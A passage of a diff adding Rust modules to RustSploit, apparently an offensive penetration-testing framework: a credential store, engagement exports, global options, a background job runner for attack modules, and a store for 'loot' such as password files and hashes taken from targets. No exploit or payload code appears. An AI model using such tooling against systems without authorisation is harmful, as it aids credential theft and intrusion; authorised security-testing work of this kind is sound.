||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Clear all credentials.
|
||||
pub async fn clear(&self) {
|
||||
{
|
||||
self.entries.write().await.clear();
|
||||
}
|
||||
self.save_locked(&[]).await;
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[CredEntry]) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
let _ = tokio::fs::create_dir_all(parent).await;
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
if let Ok(json) = serde_json::to_string_pretty(entries) {
|
||||
if tokio::fs::write(&tmp, &json).await.is_ok() {
|
||||
let _ = tokio::fs::rename(&tmp, &self.file_path).await;
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let _ = tokio::fs::set_permissions(&self.file_path, std::fs::Permissions::from_mode(0o600)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all credentials in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
|
||||
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
|
||||
println!(" {}", "-".repeat(100).dimmed());
|
||||
for e in &entries {
|
||||
let valid_str = if e.valid { "yes".green() } else { "no".red() };
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
e.id, e.host, e.port, e.service, e.username,
|
||||
if e.secret.len() > 18 { format!("{}...", &e.secret[..15]) } else { e.secret.clone() },
|
||||
e.cred_type, valid_str);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Display search results.
|
||||
pub fn display_results(&self, results: &[CredEntry]) {
|
||||
if results.is_empty() {
|
||||
println!("{}", "No matching credentials found.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Found {} credential(s):", results.len()).bold());
|
||||
println!();
|
||||
for e in results {
|
||||
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
|
||||
e.id.yellow(), e.username.green(), e.host, e.port,
|
||||
e.service, e.cred_type,
|
||||
if e.valid { "valid".green() } else { "invalid".red() });
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
|
||||
|
||||
/// Convenience function for modules to store a discovered credential.
|
||||
pub async fn store_credential(
|
||||
host: &str,
|
||||
port: u16,
|
||||
service: &str,
|
||||
username: &str,
|
||||
secret: &str,
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> String {
|
||||
CRED_STORE.add(host, port, service, username, secret, cred_type, source_module).await
|
||||
}
|
||||
+210
@@ -0,0 +1,210 @@
|
||||
use anyhow::{Result, Context};
|
||||
use serde::Serialize;
|
||||
use colored::*;
|
||||
|
||||
/// Full engagement data for export.
|
||||
#[derive(Serialize)]
|
||||
struct EngagementExport {
|
||||
workspace: String,
|
||||
exported_at: String,
|
||||
hosts: Vec<crate::workspace::HostEntry>,
|
||||
services: Vec<crate::workspace::ServiceEntry>,
|
||||
credentials: Vec<crate::cred_store::CredEntry>,
|
||||
loot: Vec<crate::loot::LootEntry>,
|
||||
}
|
||||
|
||||
/// Gather all engagement data atomically.
|
||||
/// Workspace data is snapshotted in a single read to avoid mixing data
|
||||
/// across concurrent workspace switches.
|
||||
async fn gather_data() -> EngagementExport {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
EngagementExport {
|
||||
workspace: workspace_name,
|
||||
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
hosts: workspace_data.hosts,
|
||||
services: workspace_data.services,
|
||||
credentials: crate::cred_store::CRED_STORE.list().await,
|
||||
loot: crate::loot::LOOT_STORE.list().await,
|
||||
}
|
||||
}
|
||||
|
||||
/// Export all engagement data to JSON.
|
||||
pub async fn export_json(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let data = gather_data().await;
|
||||
let json = serde_json::to_string_pretty(&data)
|
||||
.context("Failed to serialize engagement data")?;
|
||||
std::fs::write(path, &json)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
println!("{}", format!("[+] Exported JSON to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Export engagement data to CSV.
|
||||
pub async fn export_csv(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let data = gather_data().await;
|
||||
let mut output = String::new();
|
||||
|
||||
// Hosts section
|
||||
output.push_str("# Hosts\n");
|
||||
output.push_str("ip,hostname,os_guess,first_seen,last_seen,notes_count\n");
|
||||
for h in &data.hosts {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&h.ip),
|
||||
csv_escape(h.hostname.as_deref().unwrap_or("")),
|
||||
csv_escape(h.os_guess.as_deref().unwrap_or("")),
|
||||
csv_escape(&h.first_seen),
|
||||
csv_escape(&h.last_seen),
|
||||
h.notes.len()));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
// Services section
|
||||
output.push_str("# Services\n");
|
||||
output.push_str("host,port,protocol,service,version\n");
|
||||
for s in &data.services {
|
||||
output.push_str(&format!("{},{},{},{},{}\n",
|
||||
csv_escape(&s.host), s.port, csv_escape(&s.protocol),
|
||||
csv_escape(&s.service_name), csv_escape(s.version.as_deref().unwrap_or(""))));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
// Credentials section
|
||||
output.push_str("# Credentials\n");
|
||||
output.push_str("id,host,port,service,username,secret,type,source,valid\n");
|
||||
for c in &data.credentials {
|
||||
output.push_str(&format!("{},{},{},{},{},{},{},{},{}\n",
|
||||
csv_escape(&c.id), csv_escape(&c.host), c.port,
|
||||
csv_escape(&c.service), csv_escape(&c.username),
|
||||
csv_escape(&c.secret), c.cred_type,
|
||||
csv_escape(&c.source_module), c.valid));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
// Loot section
|
||||
output.push_str("# Loot\n");
|
||||
output.push_str("id,host,type,description,filename,source\n");
|
||||
for l in &data.loot {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&l.id), csv_escape(&l.host), csv_escape(&l.loot_type),
|
||||
csv_escape(&l.description), csv_escape(&l.filename),
|
||||
csv_escape(&l.source_module)));
|
||||
}
|
||||
|
||||
std::fs::write(path, &output)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
println!("{}", format!("[+] Exported CSV to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Export a human-readable summary report.
|
||||
pub async fn export_summary(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let data = gather_data().await;
|
||||
let mut report = String::new();
|
||||
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str(" RustSploit Engagement Report\n");
|
||||
report.push_str("============================================================\n\n");
|
||||
report.push_str(&format!("Workspace: {}\n", data.workspace));
|
||||
report.push_str(&format!("Generated: {}\n\n", data.exported_at));
|
||||
|
||||
// Summary
|
||||
report.push_str("--- Summary ---\n");
|
||||
report.push_str(&format!("Hosts discovered: {}\n", data.hosts.len()));
|
||||
report.push_str(&format!("Services found: {}\n", data.services.len()));
|
||||
report.push_str(&format!("Credentials obtained: {}\n", data.credentials.len()));
|
||||
report.push_str(&format!("Loot collected: {}\n\n", data.loot.len()));
|
||||
|
||||
// Hosts detail
|
||||
if !data.hosts.is_empty() {
|
||||
report.push_str("--- Hosts ---\n");
|
||||
for h in &data.hosts {
|
||||
report.push_str(&format!(" {} ({})\n",
|
||||
h.ip,
|
||||
h.hostname.as_deref().unwrap_or("unknown")));
|
||||
if let Some(ref os) = h.os_guess {
|
||||
report.push_str(&format!(" OS: {}\n", os));
|
||||
}
|
||||
if !h.notes.is_empty() {
|
||||
report.push_str(" Notes:\n");
|
||||
for note in &h.notes {
|
||||
report.push_str(&format!(" - {}\n", note));
|
||||
}
|
||||
}
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
|
||||
// Services detail
|
||||
if !data.services.is_empty() {
|
||||
report.push_str("--- Services ---\n");
|
||||
for s in &data.services {
|
||||
report.push_str(&format!(" {}:{}/{} - {} {}\n",
|
||||
s.host, s.port, s.protocol, s.service_name,
|
||||
s.version.as_deref().unwrap_or("")));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
|
||||
// Credentials detail
|
||||
if !data.credentials.is_empty() {
|
||||
report.push_str("--- Credentials ---\n");
|
||||
for c in &data.credentials {
|
||||
report.push_str(&format!(" {}@{}:{} ({}) - {} [{}]\n",
|
||||
c.username, c.host, c.port, c.service, c.cred_type,
|
||||
if c.valid { "valid" } else { "invalid" }));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
|
||||
// Loot detail
|
||||
if !data.loot.is_empty() {
|
||||
report.push_str("--- Loot ---\n");
|
||||
for l in &data.loot {
|
||||
report.push_str(&format!(" [{}] {} from {} - {}\n",
|
||||
l.loot_type, l.filename, l.host, l.description));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str("Generated by RustSploit (https://github.com/thekiaboys/rustsploit)\n");
|
||||
|
||||
std::fs::write(path, &report)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
println!("{}", format!("[+] Exported summary report to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn csv_escape(s: &str) -> String {
|
||||
let mut val = s.to_string();
|
||||
// Prevent CSV injection — prefix formula-triggering characters and always
|
||||
// quote the result so parsers treat the prefix as literal text.
|
||||
let needs_formula_guard = val.starts_with('=')
|
||||
|| val.starts_with('+')
|
||||
|| val.starts_with('@')
|
||||
|| val.starts_with('-')
|
||||
|| val.starts_with('\t')
|
||||
|| val.starts_with('\r');
|
||||
if needs_formula_guard {
|
||||
val = format!("'{}", val);
|
||||
}
|
||||
if needs_formula_guard || val.contains(',') || val.contains('"') || val.contains('\n') {
|
||||
format!("\"{}\"", val.replace('"', "\"\""))
|
||||
} else {
|
||||
val
|
||||
}
|
||||
}
|
||||
|
||||
fn validate_export_path(path: &str) -> Result<()> {
|
||||
if path.contains("..") || path.contains('\0') {
|
||||
return Err(anyhow::anyhow!("Path traversal not allowed in export path"));
|
||||
}
|
||||
if path.is_empty() || path.len() > 4096 {
|
||||
return Err(anyhow::anyhow!("Invalid export path length"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
use tokio::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use colored::*;
|
||||
|
||||
/// Persistent global options that apply across all modules.
|
||||
/// Like Metasploit's `setg` — values are checked by `cfg_prompt_*`
|
||||
/// after custom_prompts but before interactive stdin.
|
||||
pub struct GlobalOptions {
|
||||
options: RwLock<HashMap<String, String>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl GlobalOptions {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("global_options.json");
|
||||
|
||||
let options = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
let _ = std::fs::copy(&file_path, &backup);
|
||||
HashMap::new()
|
||||
}
|
||||
},
|
||||
Err(_) => HashMap::new(),
|
||||
}
|
||||
} else {
|
||||
HashMap::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
options: RwLock::new(options),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
/// Set a global option. Persists to disk.
|
||||
pub async fn set(&self, key: &str, value: &str) {
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
opts.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
}
|
||||
|
||||
/// Remove a global option. Persists to disk.
|
||||
pub async fn unset(&self, key: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
let removed = opts.remove(key).is_some();
|
||||
if removed { Some(opts.clone()) } else { None }
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Get a global option value.
|
||||
pub async fn get(&self, key: &str) -> Option<String> {
|
||||
self.options.read().await.get(key).cloned()
|
||||
}
|
||||
|
||||
/// Synchronous non-blocking get for use in blocking/sync contexts.
|
||||
/// Returns `None` if the lock is currently held by a writer.
|
||||
pub fn try_get(&self, key: &str) -> Option<String> {
|
||||
self.options.try_read().ok().and_then(|guard| guard.get(key).cloned())
|
||||
}
|
||||
|
||||
/// Get all global options.
|
||||
pub async fn all(&self) -> HashMap<String, String> {
|
||||
self.options.read().await.clone()
|
||||
}
|
||||
|
||||
/// Save to disk using atomic write (write to temp, then rename).
|
||||
async fn save_locked(&self, opts: &HashMap<String, String>) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
let _ = tokio::fs::create_dir_all(parent).await;
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
if let Ok(json) = serde_json::to_string_pretty(opts) {
|
||||
if tokio::fs::write(&tmp, &json).await.is_ok() {
|
||||
let _ = tokio::fs::rename(&tmp, &self.file_path).await;
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let _ = tokio::fs::set_permissions(&self.file_path, std::fs::Permissions::from_mode(0o600)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all global options in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let opts = self.all().await;
|
||||
if opts.is_empty() {
|
||||
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", "Global Options:".bold().underline());
|
||||
println!();
|
||||
println!(" {:<30} {}", "Key".bold(), "Value".bold());
|
||||
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
|
||||
let mut keys: Vec<_> = opts.keys().collect();
|
||||
keys.sort();
|
||||
for key in keys {
|
||||
if let Some(val) = opts.get(key) {
|
||||
println!(" {:<30} {}", key.green(), val);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static GLOBAL_OPTIONS: Lazy<GlobalOptions> = Lazy::new(GlobalOptions::new);
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU32, Ordering};
|
||||
use std::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::Serialize;
|
||||
use colored::*;
|
||||
use tokio::sync::watch;
|
||||
|
||||
/// Status of a background job.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub enum JobStatus {
|
||||
Running,
|
||||
Completed,
|
||||
Failed(String),
|
||||
Cancelled,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for JobStatus {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
JobStatus::Running => write!(f, "Running"),
|
||||
JobStatus::Completed => write!(f, "Completed"),
|
||||
JobStatus::Failed(msg) => write!(f, "Failed: {}", msg),
|
||||
JobStatus::Cancelled => write!(f, "Cancelled"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A background job entry.
|
||||
pub struct Job {
|
||||
pub id: u32,
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
pub started_at: chrono::DateTime<chrono::Local>,
|
||||
pub status: JobStatus,
|
||||
cancel_tx: watch::Sender<bool>,
|
||||
handle: Option<tokio::task::JoinHandle<()>>,
|
||||
}
|
||||
|
||||
/// Manages background jobs.
|
||||
pub struct JobManager {
|
||||
jobs: RwLock<HashMap<u32, Job>>,
|
||||
next_id: AtomicU32,
|
||||
}
|
||||
|
||||
impl JobManager {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
jobs: RwLock::new(HashMap::new()),
|
||||
next_id: AtomicU32::new(1),
|
||||
}
|
||||
}
|
||||
|
||||
/// Spawn a module as a background job. Returns the job ID.
|
||||
pub fn spawn(
|
||||
&self,
|
||||
module: String,
|
||||
target: String,
|
||||
verbose: bool,
|
||||
) -> u32 {
|
||||
let id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
let (cancel_tx, cancel_rx) = watch::channel(false);
|
||||
|
||||
let mod_clone = module.clone();
|
||||
let tgt_clone = target.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rx = cancel_rx;
|
||||
tokio::select! {
|
||||
result = crate::commands::run_module(&mod_clone, &tgt_clone, verbose) => {
|
||||
match result {
|
||||
Ok(_) => {
|
||||
println!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
|
||||
println!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let job = Job {
|
||||
id,
|
||||
module,
|
||||
target,
|
||||
started_at: chrono::Local::now(),
|
||||
status: JobStatus::Running,
|
||||
cancel_tx,
|
||||
handle: Some(handle),
|
||||
};
|
||||
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
jobs.insert(id, job);
|
||||
}
|
||||
|
||||
id
|
||||
}
|
||||
|
||||
/// Kill a background job.
|
||||
pub fn kill(&self, id: u32) -> bool {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
if let Some(job) = jobs.get_mut(&id) {
|
||||
let _ = job.cancel_tx.send(true);
|
||||
if let Some(handle) = job.handle.take() {
|
||||
handle.abort();
|
||||
}
|
||||
job.status = JobStatus::Cancelled;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// List all jobs. Auto-cleans finished jobs older than 5 minutes.
|
||||
pub fn list(&self) -> Vec<(u32, String, String, String, String)> {
|
||||
// Auto-cleanup finished jobs
|
||||
self.cleanup();
|
||||
let mut result = Vec::new();
|
||||
if let Ok(jobs) = self.jobs.read() {
|
||||
let mut ids: Vec<_> = jobs.keys().collect();
|
||||
ids.sort();
|
||||
for &id in &ids {
|
||||
if let Some(job) = jobs.get(id) {
|
||||
// Check if handle is finished
|
||||
let status = if let Some(ref handle) = job.handle {
|
||||
if handle.is_finished() {
|
||||
"Completed".to_string()
|
||||
} else {
|
||||
format!("{}", job.status)
|
||||
}
|
||||
} else {
|
||||
format!("{}", job.status)
|
||||
};
|
||||
result.push((
|
||||
*id,
|
||||
job.module.clone(),
|
||||
job.target.clone(),
|
||||
job.started_at.format("%H:%M:%S").to_string(),
|
||||
status,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Clean up finished jobs.
|
||||
pub fn cleanup(&self) {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
jobs.retain(|_, job| {
|
||||
if let Some(ref handle) = job.handle {
|
||||
!handle.is_finished()
|
||||
} else {
|
||||
false
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// Display jobs table.
|
||||
pub fn display(&self) {
|
||||
let jobs = self.list();
|
||||
if jobs.is_empty() {
|
||||
println!("{}", "No active jobs.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
|
||||
println!(" {}", "-".repeat(80).dimmed());
|
||||
for (id, module, target, started, status) in &jobs {
|
||||
let status_colored = if status == "Running" {
|
||||
status.green().to_string()
|
||||
} else if status == "Completed" {
|
||||
status.cyan().to_string()
|
||||
} else if status.starts_with("Failed") {
|
||||
status.red().to_string()
|
||||
} else {
|
||||
status.yellow().to_string()
|
||||
};
|
||||
println!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
id, module, target, started, status_colored);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static JOB_MANAGER: Lazy<JobManager> = Lazy::new(JobManager::new);
|
||||
+265
@@ -0,0 +1,265 @@
|
||||
use std::path::PathBuf;
|
||||
use tokio::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Serialize, Deserialize};
|
||||
use colored::*;
|
||||
|
||||
/// Metadata for a stored loot item.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct LootEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub loot_type: String,
|
||||
pub filename: String,
|
||||
pub description: String,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
}
|
||||
|
||||
/// Loot store backed by JSON index + file directory.
|
||||
pub struct LootStore {
|
||||
entries: RwLock<Vec<LootEntry>>,
|
||||
index_path: PathBuf,
|
||||
loot_dir: PathBuf,
|
||||
}
|
||||
|
||||
impl LootStore {
|
||||
fn new() -> Self {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
|
||||
let loot_dir = base.join("loot");
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
let _ = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir);
|
||||
|
||||
let index_path = base.join("loot_index.json");
|
||||
let entries = if index_path.exists() {
|
||||
match std::fs::read_to_string(&index_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
|
||||
let backup = index_path.with_extension("json.bak");
|
||||
let _ = std::fs::copy(&index_path, &backup);
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(_) => Vec::new(),
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
index_path,
|
||||
loot_dir,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum loot file size (100 MB).
|
||||
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
|
||||
|
||||
/// Store loot data and return the entry ID.
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
// Validate size
|
||||
if data.len() > Self::MAX_LOOT_SIZE {
|
||||
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
|
||||
return None;
|
||||
}
|
||||
// Validate inputs
|
||||
if host.is_empty() || host.len() > 256 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let ext = match loot_type {
|
||||
"config" => "conf",
|
||||
"password_file" => "txt",
|
||||
"firmware" => "bin",
|
||||
"hash" => "txt",
|
||||
_ => "dat",
|
||||
};
|
||||
// Sanitize loot_type — only allow alphanumeric and underscore
|
||||
let safe_type: String = loot_type.chars()
|
||||
.filter(|c| c.is_alphanumeric() || *c == '_')
|
||||
.take(64)
|
||||
.collect();
|
||||
let safe_type = if safe_type.is_empty() { "unknown".to_string() } else { safe_type };
|
||||
|
||||
let filename = format!("{}_{}.{}", id, safe_type, ext);
|
||||
let file_path = self.loot_dir.join(&filename);
|
||||
|
||||
// Verify the resolved path is within loot_dir (prevent traversal)
|
||||
if !file_path.starts_with(&self.loot_dir) {
|
||||
eprintln!("[!] Loot path escapes loot directory");
|
||||
return None;
|
||||
}
|
||||
|
||||
if tokio::fs::write(&file_path, data).await.is_err() {
|
||||
return None;
|
||||
}
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let _ = tokio::fs::set_permissions(&file_path, std::fs::Permissions::from_mode(0o600)).await;
|
||||
|
||||
let entry = LootEntry {
|
||||
id: id.clone(),
|
||||
host: host.to_string(),
|
||||
loot_type: loot_type.to_string(),
|
||||
filename,
|
||||
description: description.to_string(),
|
||||
source_module: source_module.to_string(),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
};
|
||||
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
Some(id)
|
||||
}
|
||||
|
||||
/// Add loot from a string (convenience).
|
||||
pub async fn add_text(
|
||||
&self,
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
description: &str,
|
||||
text: &str,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
self.add(host, loot_type, description, text.as_bytes(), source_module).await
|
||||
}
|
||||
|
||||
/// List all loot entries.
|
||||
pub async fn list(&self) -> Vec<LootEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search loot by host or type.
|
||||
pub async fn search(&self, query: &str) -> Vec<LootEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.loot_type.to_lowercase().contains(&q)
|
||||
|| e.description.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a loot entry by ID. Also removes the loot file from disk.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let (removed, filename) = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
let fname = entries.iter().find(|e| e.id == id).map(|e| e.filename.clone());
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
let snapshot = entries.clone();
|
||||
drop(entries);
|
||||
self.save_locked(&snapshot).await;
|
||||
(true, fname)
|
||||
} else {
|
||||
(false, None)
|
||||
}
|
||||
};
|
||||
if let Some(fname) = filename {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
let _ = tokio::fs::remove_file(&path).await;
|
||||
}
|
||||
}
|
||||
removed
|
||||
}
|
||||
|
||||
/// Clear all loot entries and remove loot files from disk.
|
||||
pub async fn clear(&self) {
|
||||
let filenames: Vec<String> = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
|
||||
entries.clear();
|
||||
names
|
||||
};
|
||||
self.save_locked(&[]).await;
|
||||
for fname in filenames {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
let _ = tokio::fs::remove_file(&path).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the full path to a loot file.
|
||||
/// Returns None if the filename contains path separators or traversal.
|
||||
pub fn file_path(&self, filename: &str) -> Option<PathBuf> {
|
||||
if filename.contains('/') || filename.contains('\\') || filename.contains("..") || filename.contains('\0') {
|
||||
return None;
|
||||
}
|
||||
let path = self.loot_dir.join(filename);
|
||||
if !path.starts_with(&self.loot_dir) {
|
||||
return None;
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
|
||||
/// Get the loot directory path.
|
||||
pub fn loot_directory(&self) -> &PathBuf {
|
||||
&self.loot_dir
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[LootEntry]) {
|
||||
let tmp = self.index_path.with_extension("json.tmp");
|
||||
if let Ok(json) = serde_json::to_string_pretty(entries) {
|
||||
if tokio::fs::write(&tmp, &json).await.is_ok() {
|
||||
let _ = tokio::fs::rename(&tmp, &self.index_path).await;
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let _ = tokio::fs::set_permissions(&self.index_path, std::fs::Permissions::from_mode(0o600)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display loot table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No loot stored.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
|
||||
println!(" {}", "-".repeat(90).dimmed());
|
||||
for e in &entries {
|
||||
let desc = if e.description.len() > 28 {
|
||||
format!("{}...", &e.description[..25])
|
||||
} else {
|
||||
e.description.clone()
|
||||
};
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
|
||||
